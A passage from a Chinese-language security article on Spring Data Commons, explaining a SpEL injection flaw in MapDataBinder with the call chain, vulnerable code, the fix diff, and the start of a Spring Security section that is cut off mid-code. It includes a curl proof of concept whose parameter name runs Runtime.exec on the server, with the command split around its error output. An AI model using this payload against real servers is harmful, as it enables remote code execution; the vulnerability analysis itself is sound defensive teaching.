以 Spring Data Commons 而言,其中就实现了基于接口的绑定方法 ProxyingHandlerMethodArgumentResolver。例如下面的服务端代码示例:

@RestController
public class VulnerableController {
  private static final Logger LOGGER = LoggerFactory.getLogger(VulnerableController.class);
  interface Account {
    String getName();
  }
  @PostMapping(path = "/account")
  public void doSomething(Account account) {
    LOGGER.info("Account {} received", account.getName());
  }
}

上面将的代码可以将 HTTP 请求绑定到 Account 接口,即动态生成一个 Account 子类并进行实例化。绑定的过程中涉及到 SpEL 代码的解析,我们先看下面的实际调用链路:

@org.springframework.expression.spel.standard.SpelExpression.setValue()
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187)
at org.springframework.beans.AbstractPropertyAccessor.setPropertyValue(AbstractPropertyAccessor.java:65)
at org.springframework.beans.AbstractPropertyAccessor.setPropertyValues(AbstractPropertyAccessor.java:95)
at org.springframework.validation.DataBinder.applyPropertyValues(DataBinder.java:860)
at org.springframework.validation.DataBinder.doBind(DataBinder.java:756)
at org.springframework.web.bind.WebDataBinder.doBind(WebDataBinder.java:192)
at org.springframework.validation.DataBinder.bind(DataBinder.java:741)
at org.springframework.data.web.ProxyingHandlerMethodArgumentResolver.createAttribute(ProxyingHandlerMethodArgumentResolver.java:162)
at org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:106)
at org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:121)
at org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:158)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:128)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:827)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:738)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)

ProxyingHandlerMethodArgumentResolver 中的 createAttribute 用于将 HTTP 请求转换为目标对象的属性,因此使用的是字典的映射类型 MapDataBinder:

// org/springframework/data/web/ProxyingHandlerMethodArgumentResolver.java
@Override
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
    NativeWebRequest request) throws Exception {
  MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
  binder.bind(new MutablePropertyValues(request.getParameterMap()));
  return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

实际设置属性使用的是 MapDataBinder$MapPropertyAccessor,从上面的调用链也可以看出来。其中方法的大致实现如下:

// org/springframework/data/web/MapDataBinder.java
@Override
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.setTypeConverter(new StandardTypeConverter(conversionService));
    context.setRootObject(map);
    // ...
    Expression expression = PARSER.parseExpression(propertyName);
    // ...
    expression.setValue(context, value);
}

主要作用就是使用 SpEL 表达式设置对应的属性值。比如我们可以请求:

curl -XPOST http://localhost:8080/account -d "name=evilpan"
将 Account 属性的 name 设置为 evilpan。如果有子类或者多级数据结构也可以解析。但是这里有个问题是 propertyName 可以被控制的情况下,可能会造成非预期的解析,从而导致任意代码执行。一个执行的 PoC 示例如下:

$ curl -XPOST 
{"timestamp":1682648151754,"status":500,"error":"Internal Server Error","exception":"org.springframework.expression.spel.SpelEvaluationException","message":"EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to java.lang.String","path":"/account"}

http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/poc')]=test"
针对该漏洞的修复和许多 SpEL 注入的修复类似,就是将 StandardEvaluationContext 替换为 SimpleEvaluationContext,保留解析灵活性的同时也控制了安全性,关键修复代码如下:

diff --git a/src/main/java/org/springframework/data/web/MapDataBinder.java b/src/main/java/org/springframework/data/web/MapDataBinder.java
index 045254a14..3c9af9321 100644
--- a/src/main/java/org/springframework/data/web/MapDataBinder.java
+++ b/src/main/java/org/springframework/data/web/MapDataBinder.java
@@ -176,16 +174,6 @@ class MapDataBinder extends WebDataBinder {
                                throw new NotWritablePropertyException(type, propertyName);
                        }
-                       StandardEvaluationContext context = new StandardEvaluationContext();
-                       context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));
-                       context.setTypeConverter(new StandardTypeConverter(conversionService));
-                       context.setTypeLocator(typeName -> {
-                               throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
-                       });
-                       context.setRootObject(map);
-
-                       Expression expression = PARSER.parseExpression(propertyName);
-
                        PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
                        TypeInformation<?> owningType = leafProperty.getOwningType();
                        TypeInformation<?> propertyType = leafProperty.getTypeInformation();
@@ -213,6 +201,14 @@ class MapDataBinder extends WebDataBinder {
                                value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
                        }
+                       EvaluationContext context = SimpleEvaluationContext //
+                                       .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) //
+                                       .withConversionService(conversionService) //
+                                       .withRootObject(map) //
+                                       .build();
+
+                       Expression expression = PARSER.parseExpression(propertyName);
+

关于该漏洞的详细细节、修复过程和 PoC 可以参考下面的链接:

从上面的这些漏洞可以看出,Spring Data 中的漏洞主要出现在数据绑定上。绑定的数据作为 XML 可造成 XXE,作为 SQL 可造成注入,而绑定的数据要是传递到 SpEL 上就可能出现更为严重的 RCE。这部分问题其实最好通过自动化工具去扫描 Source/Sink 的方式挖掘,不过其中许多调用都经过了反射,也许使用动态 Fuzzing 的方式也是一个不错的选择。

在 Web 应用中,用户认证和授权是非常常见的功能,每次让开发者自己造轮子不太合适,而且一不小心就可能出现纰漏。Spring Security 主要就是为了这个场景而诞生的。除了认证和授权,还包含许多与安全相关的功能,比如点击劫持、CSRF 等。

Spring Security 的基本使用还是比较简单的,官方提供了 starter 包 spring-boot-starter-security,如果 Spring Boot 应用检测到 Spring Security 的依赖在 CLASS_PATH 中,会自动针对所有 HTTP 端点(路径)开启 Basic Auth 保护[60]。

一般开发者只需要对某些路径进行保护,而且最好把登录凭据保存在 Cookie 会话中。这个功能只需要进行简单的自定义配置,如下所示:

```
@Configuration
@EnableWebSecurity
public class SecurityConfig {
    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests((requests) -> requests
                    .requestMatchers("/", "/index.html").permitAll()
                    .anyRequest().authenticate

原文链接:https://mp.weixin.qq.com/s?__biz=MzA3MzU1MDQwOA==&mid=2247484506&idx=1&sn=22fac437adba50ef7b5148c2a526753f